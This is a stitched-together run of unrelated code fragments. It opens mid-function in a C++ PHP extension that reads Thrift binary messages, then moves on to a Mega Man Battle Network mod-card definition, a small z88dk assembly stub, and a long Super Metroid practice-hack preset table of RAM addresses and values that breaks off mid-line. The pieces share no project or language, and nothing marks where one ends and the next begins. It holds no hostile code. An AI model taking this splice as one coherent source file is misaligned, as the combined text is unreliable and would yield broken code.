PHPExceptionWrapper& ex) { zend_throw_exception_object(ex TSRMLS_CC); RETURN_NULL(); } } // 3 params: $transport $response_Typename $strict_read PHP_FUNCTION(thrift_protocol_read_binary) { int argc = ZEND_NUM_ARGS(); if (argc < 3) { WRONG_PARAM_COUNT; } zval ***args = (zval***) emalloc(argc * sizeof(zval**)); zend_get_parameters_array_ex(argc, args); if (Z_TYPE_PP(args[0]) != IS_OBJECT) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "1st parameter is not an object (transport)"); efree(args); RETURN_NULL(); } if (Z_TYPE_PP(args[1]) != IS_STRING) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "2nd parameter is not a string (typename of expected response struct)"); efree(args); RETURN_NULL(); } PHPInputTransport transport(*args[0]); char* obj_typename = Z_STRVAL_PP(args[1]); convert_to_boolean_ex(args[2]); bool strict_read = Z_BVAL_PP(args[2]); efree(args); args = NULL; try { int8_t messageType = 0; int32_t sz = transport.readI32(); if (sz < 0) { // Check for correct version number int32_t version = sz & VERSION_MASK; if (version != VERSION_1) { throw_tprotocolexception("Bad version identifier", BAD_VERSION); } messageType = (sz & 0x000000ff); int32_t namelen = transport.readI32(); // skip the name string and the sequence ID, we don't care about those transport.skip(namelen + 4); } else { if (strict_read) { throw_tprotocolexception("No version identifier... old protocol client in strict mode?", BAD_VERSION); } else { // Handle pre-versioned input transport.skip(sz); // skip string body messageType = transport.readI8(); transport.skip(4); // skip sequence number } } if (messageType == T_EXCEPTION) { zval* ex; MAKE_STD_ZVAL(ex); createObject("TApplicationException", ex); zval* spec = zend_read_static_property(zend_get_class_entry(ex TSRMLS_CC), "_TSPEC", 6, false TSRMLS_CC); binary_deserialize_spec(ex, transport, Z_ARRVAL_P(spec)); throw PHPExceptionWrapper(ex); } createObject(obj_typename, return_value); zval* spec = zend_read_static_property(zend_get_class_entry(return_value TSRMLS_CC), "_TSPEC", 6, false TSRMLS_CC); binary_deserialize_spec(return_value, transport, Z_ARRVAL_P(spec)); } catch (const PHPExceptionWrapper& ex) { zend_throw_exception_object(ex TSRMLS_CC); RETURN_NULL(); } }
.include "defaults_mod.asm" table_file_jp equ "exe4-utf8.tbl" table_file_en equ "bn4-utf8.tbl" game_code_len equ 3 game_code equ 0x4234574A // B4WJ game_code_2 equ 0x42345745 // B4WE game_code_3 equ 0x42345750 // B4WP card_type equ 1 card_id equ 94 card_no equ "094" card_sub equ "Mod Card 094" card_sub_x equ 64 card_desc_len equ 2 card_desc_1 equ "Address 0A" card_desc_2 equ "MAX HP +800" card_desc_3 equ "" card_name_jp_full equ "マックスHP+800" card_name_jp_game equ "マックスHP+800" card_name_en_full equ "MAX HP +800" card_name_en_game equ "MAX HP +800" card_address equ "0A" card_address_id equ 0 card_bug equ 0 card_wrote_en equ "MAX HP +800" card_wrote_jp equ "マックスHP+800"
; void *tshc_cxy2aaddr(uchar x, uchar y) SECTION code_clib SECTION code_arch PUBLIC _tshc_cxy2aaddr_callee EXTERN asm_tshc_cxy2aaddr _tshc_cxy2aaddr_callee: pop hl ex (sp),hl jp asm_tshc_cxy2aaddr
preset_100early_crateria_ceres_elevator: dw #$0000 dl $7E078B : db $02 : dw $0000 ; Elevator Index dl $7E078D : db $02 : dw $AB58 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $DF45 ; MDB dl $7E079F : db $02 : dw $0006 ; Region dl $7E07C3 : db $02 : dw $E22A ; GFX Pointers dl $7E07C5 : db $02 : dw $04C0 ; GFX Pointers dl $7E07C7 : db $02 : dw $C2C1 ; GFX Pointers dl $7E07F3 : db $02 : dw $002D ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E093F : db $02 : dw $0000 ; Ceres escape flag dl $7E09A2 : db $02 : dw $0000 ; Equipped Items dl $7E09A4 : db $02 : dw $0000 ; Collected Items dl $7E09A6 : db $02 : dw $0000 ; Beams dl $7E09A8 : db $02 : dw $0000 ; Beams dl $7E09C0 : db $02 : dw $0000 ; Manual/Auto reserve tank dl $7E09C2 : db $02 : dw $0063 ; Health dl $7E09C4 : db $02 : dw $0063 ; Max helath dl $7E09C6 : db $02 : dw $0000 ; Missiles dl $7E09C8 : db $02 : dw $0000 ; Max missiles dl $7E09CA : db $02 : dw $0000 ; Supers dl $7E09CC : db $02 : dw $0000 ; Max supers dl $7E09CE : db $02 : dw $0000 ; Pbs dl $7E09D0 : db $02 : dw $0000 ; Max pbs dl $7E09D4 : db $02 : dw $0000 ; Max reserves dl $7E09D6 : db $02 : dw $0000 ; Reserves dl $7E0A1C : db $02 : dw $0000 ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0A68 : db $02 : dw $0000 ; Flash suit dl $7E0A76 : db $02 : dw $0000 ; Hyper beam dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $0048 ; Samus Y dl $7E0B3F : db $02 : dw $0000 ; Blue suit dl $7ED7C0 : db $02 : dw $0000 ; SRAM copy dl $7ED7C2 : db $02 : dw $0000 ; SRAM copy dl $7ED7C4 : db $02 : dw $0000 ; SRAM copy dl $7ED7C6 : db $02 : dw $0000 ; SRAM copy dl $7ED7C8 : db $02 : dw $0800 ; SRAM copy dl $7ED7CA : db $02 : dw $0400 ; SRAM copy dl $7ED7CC : db $02 : dw $0200 ; SRAM copy dl $7ED7CE : db $02 : dw $0100 ; SRAM copy dl $7ED7D0 : db $02 : dw $4000 ; SRAM copy dl $7ED7D2 : db $02 : dw $0080 ; SRAM copy dl $7ED7D4 : db $02 : dw $8000 ; SRAM copy dl $7ED7D6 : db $02 : dw $0040 ; SRAM copy dl $7ED7D8 : db $02 : dw $2000 ; SRAM copy dl $7ED7DA : db $02 : dw $0020 ; SRAM copy dl $7ED7DC : db $02 : dw $0010 ; SRAM copy dl $7ED7DE : db $02 : dw $0000 ; SRAM copy dl $7ED7E0 : db $02 : dw $0063 ; SRAM copy dl $7ED7E2 : db $02 : dw $0063 ; SRAM copy dl $7ED7E4 : db $02 : dw $0000 ; SRAM copy dl $7ED7E6 : db $02 : dw $0000 ; SRAM copy dl $7ED7E8 : db $02 : dw $0000 ; SRAM copy dl $7ED7EA : db $02 : dw $0000 ; SRAM copy dl $7ED7EC : db $02 : dw $0000 ; SRAM copy dl $7ED7EE : db $02 : dw $0000 ; SRAM copy dl $7ED7F0 : db $02 : dw $0000 ; SRAM copy dl $7ED7F2 : db $02 : dw $0000 ; SRAM copy dl $7ED7F4 : db $02 : dw $0000 ; SRAM copy dl $7ED7F6 : db $02 : dw $0000 ; SRAM copy dl $7ED7F8 : db $02 : dw $0000 ; SRAM copy dl $7ED7FA : db $02 : dw $0000 ; SRAM copy dl $7ED7FC : db $02 : dw $0000 ; SRAM copy dl $7ED7FE : db $02 : dw $0000 ; SRAM copy dl $7ED800 : db $02 : dw $0000 ; SRAM copy dl $7ED802 : db $02 : dw $0000 ; SRAM copy dl $7ED804 : db $02 : dw $0001 ; SRAM copy dl $7ED806 : db $02 : dw $0001 ; SRAM copy dl $7ED808 : db $02 : dw $0000 ; SRAM copy dl $7ED80A : db $02 : dw $0000 ; SRAM copy dl $7ED80C : db $02 : dw $0000 ; SRAM copy dl $7ED80E : db $02 : dw $0000 ; SRAM copy dl $7ED810 : db $02 : dw $0000 ; SRAM copy dl $7ED812 : db $02 : dw $0000 ; SRAM copy dl $7ED814 : db $02 : dw $0000 ; SRAM copy dl $7ED816 : db $02 : dw $0000 ; SRAM copy dl $7ED818 : db $02 : dw $0000 ; SRAM copy dl $7ED81A : db $02 : dw $0000 ; SRAM copy dl $7ED81C : db $02 : dw $0000 ; SRAM copy dl $7ED81E : db $02 : dw $0000 ; SRAM copy dl $7ED820 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED822 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED824 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED826 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED828 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED82A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED82C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED82E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED830 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED832 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED834 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED836 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED838 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED83A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED83C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED83E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED840 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED842 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED844 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED846 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED848 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED84A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED84C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED84E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED850 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED852 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED854 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED856 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED858 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED85A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED85C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED85E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED860 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED862 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED864 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED866 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED868 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED86A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED86C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED86E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED870 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED872 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED874 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED876 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED878 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED87A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED87C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED87E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED880 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED882 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED884 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED886 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED888 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED88A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED88C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED88E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED890 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED892 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED894 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED896 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED898 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED89A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED89C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED89E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8AA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8AC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8AE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8BA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8BC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8BE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8CA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8CC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8CE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8DA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8DC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8DE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8EA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8EC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8EE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8FA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8FC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8FE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED900 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED902 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED904 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED906 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED908 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED90A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED90C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED90E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED910 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED912 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED914 : db $02 : dw $001F ; Events, Items, Doors dl $7ED916 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED918 : db $02 : dw $0006 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED91C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED91E : db $02 : dw $0000 ; Events, Items, Doors dw #$FFFF .after preset_100early_crateria_ceres_last_3_rooms: dw #preset_100early_crateria_ceres_elevator ; Crateria: Ceres Elevator dl $7E078D : db $02 : dw $ABA0 ; DDB dl $7E079B : db $02 : dw $E021 ; MDB dl $7E07C3 : db $02 : dw $B004 ; GFX Pointers dl $7E07C5 : db $02 : dw $E3C0 ; GFX Pointers dl $7E07F3 : db $02 : dw $0024 ; Music Bank dl $7E07F5 : db $02 : dw $0007 ; Music Track dl $7E090F : db $02 : dw $0900 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position dl $7E093F : db $02 : dw $0002 ; Ceres escape flag dl $7E09C2 : db $02 : dw $0018 ; Health dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0047 ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dl $7ED82E : db $02 : dw $0001 ; Events, Items, Doors dw #$FFFF .after preset_100early_crateria_ship: dw #preset_100early_crateria_ceres_last_3_rooms ; Crateria: Ceres Last 3 Rooms dl $7E078D : db $02 : dw $88FE ; DDB dl $7E079B : db $02 : dw $91F8 ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E07F3 : db $02 : dw $0006 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $03D0 ; Screen Y position in pixels dl $7E093F : db $02 : dw $0000 ; Ceres escape flag dl $7E09C2 : db $02 : dw $0063 ; Health dl $7E0A1C : db $02 : dw $0000 ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0481 ; Samus X dl $7E0AFA : db $02 : dw $0440 ; Samus Y dl $7ED7F8 : db $02 : dw $0001 ; SRAM copy dl $7ED7FA : db $02 : dw $0007 ; SRAM copy dl $7ED7FC : db $02 : dw $0001 ; SRAM copy dl $7ED8F8 : db $02 : dw $0001 ; Events, Items, Doors dl $7ED914 : db $02 : dw $0005 ; Events, Items, Doors dl $7ED918 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED91C : db $02 : dw $1010 ; Events, Items, Doors dw #$FFFF .after preset_100early_crateria_pit_room: dw #preset_100early_crateria_ship ; Crateria: Ship dl $7E078D : db $02 : dw $898E ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $96BA ; MDB dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $15BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B0 ; GFX Pointers dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0800 ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $01DB ; Samus X dl $7E0AFA : db $02 : dw $088B ; Samus Y dw #$FFFF .after preset_100early_crateria_morph: dw #preset_100early_crateria_pit_room ; Crateria: Pit Room dl $7E078D : db $02 : dw $8B9E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $9E9F ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers dl $7E07F5 : db $02 : dw $0007 ; Music Track dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $0000 ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0580 ; Samus X dl $7E0AFA : db $02 : dw $02A8 ; Samus Y dl $7ED91A : db $02 : dw $0001 ; Events, Items, Doors dw #$FFFF .after preset_100early_crateria_pit_room_revisit: dw #preset_100early_crateria_morph ; Crateria: Morph dl $7E078D : db $02 : dw $8EB6 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $97B5 ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $0004 ; Equipped Items dl $7E09A4 : db $02 : dw $0004 ; Collected Items dl $7E09C6 : db $02 : dw $0005 ; Missiles dl $7E09C8 : db $02 : dw $0005 ; Max missiles dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $0088 ; Samus Y dl $7ED872 : db $02 : dw $0400 ; Events, Items, Doors dl $7ED874 : db $02 : dw $0004 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0003 ; Events, Items, Doors dw #$FFFF .after preset_100early_crateria_climb: dw #preset_100early_crateria_pit_room_revisit ; Crateria: Pit Room Revisit dl $7E078D : db $02 : dw $8B92 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $975C ; MDB dl $7E07F3 : db $02 : dw $0009 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0087 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED820 : db $02 : dw $0001 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $0400 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0004 ; Events, Items, Doors dw #$FFFF .after preset_100early_crateria_parlor_revisit: dw #preset_100early_crateria_climb ; Crateria: Climb dl $7E078D : db $02 : dw $8B7A ; DDB dl $7E079B : db $02 : dw $96BA ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position dl $7E0AF6 : db $02 : dw $019F ; Samus X dl $7E0AFA : db $02 : dw $005B ; Samus Y dw #$FFFF .after preset_100early_crateria_bomb_torizo: dw #preset_100early_crateria_parlor_revisit ; Crateria: Parlor Revisit dl $7E078D : db $02 : dw $8982 ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $9879 ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8C00 ; Screen subpixel Y position dl $7E09C6 : db $02 : dw $0000 ; Missiles dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $02C8 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED8B2 : db $02 : dw $2400 ; Events, Items, Doors dw #$FFFF .after preset_100early_crateria_alcatraz: dw #preset_100early_crateria_bomb_torizo ; Crateria: Bomb Torizo dl $7E078D : db $02 : dw $8BAA ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position dl $7E09A2 : db $02 : dw $1004 ; Equipped Items dl $7E09A4 : db $02 : dw $1004 ; Collected Items dl $7E09C6 : db $02 : dw $0005 ; Missiles dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0037 ; Samus X dl $7ED828 : db $02 : dw $0004 ; Events, Items, Doors dl $7ED870 : db $02 : dw $0080 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $2C00 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0005 ; Events, Items, Doors dw #$FFFF .after preset_100early_crateria_terminator: dw #preset_100early_crateria_alcatraz ; Crateria: Alcatraz dl $7E078D : db $02 : dw $8BB6 ; DDB dl $7E079B : db $02 : dw $92FD ; MDB dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $5800 ; Screen subpixel Y position dl $7E0A1C : db $02 : dw $008A ; Samus position/state dl $7E0A1E : db $02 : dw $1504 ; More position/state dl $7E0AF6 : db $02 : dw $0115 ; Samus X dw #$FFFF .after preset_100early_crateria_green_pirate_shaft: dw #preset_100early_crateria_terminator ; Crateria: Terminator dl $7E078D : db $02 : dw $895E ; DDB dl $7E079B : db $02 : dw $990D ; MDB dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $01FD ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00C7 ; Health dl $7E09C4 : db $02 : dw $00C7 ; Max helath dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0077 ; Samus X dl $7E0AFA : db $02 : dw $029B ; Samus Y dl $7ED870 : db $02 : dw $0180 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0006 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_green_brinstar: dw #preset_100early_crateria_green_pirate_shaft ; Crateria: Green Pirate Shaft dl $7E078D : db $02 : dw $8C22 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $9938 ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $008B ; Health dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED91A : db $02 : dw $0008 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_early_supers: dw #preset_100early_brinstar_green_brinstar ; Brinstar: Green Brinstar dl $7E078D : db $02 : dw $8C0A ; DDB dl $7E078F : db $02 : dw $0009 ; DoorOut Index dl $7E079B : db $02 : dw $9AD9 ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers dl $7E07F3 : db $02 : dw $000F ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $041C ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $0000 ; Missiles dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00A6 ; Samus X dl $7E0AFA : db $02 : dw $048B ; Samus Y dl $7ED8B4 : db $02 : dw $0002 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0009 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_reverse_mockball: dw #preset_100early_brinstar_early_supers ; Brinstar: Early Supers dl $7E078D : db $02 : dw $8D5A ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $9C07 ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $0001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $3400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C0 : db $02 : dw $0001 ; Manual/Auto reserve tank dl $7E09C2 : db $02 : dw $0077 ; Health dl $7E09C6 : db $02 : dw $000A ; Missiles dl $7E09C8 : db $02 : dw $000F ; Max missiles dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E09CC : db $02 : dw $0005 ; Max supers dl $7E09D4 : db $02 : dw $0064 ; Max reserves dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0044 ; Samus X dl $7E0AFA : db $02 : dw 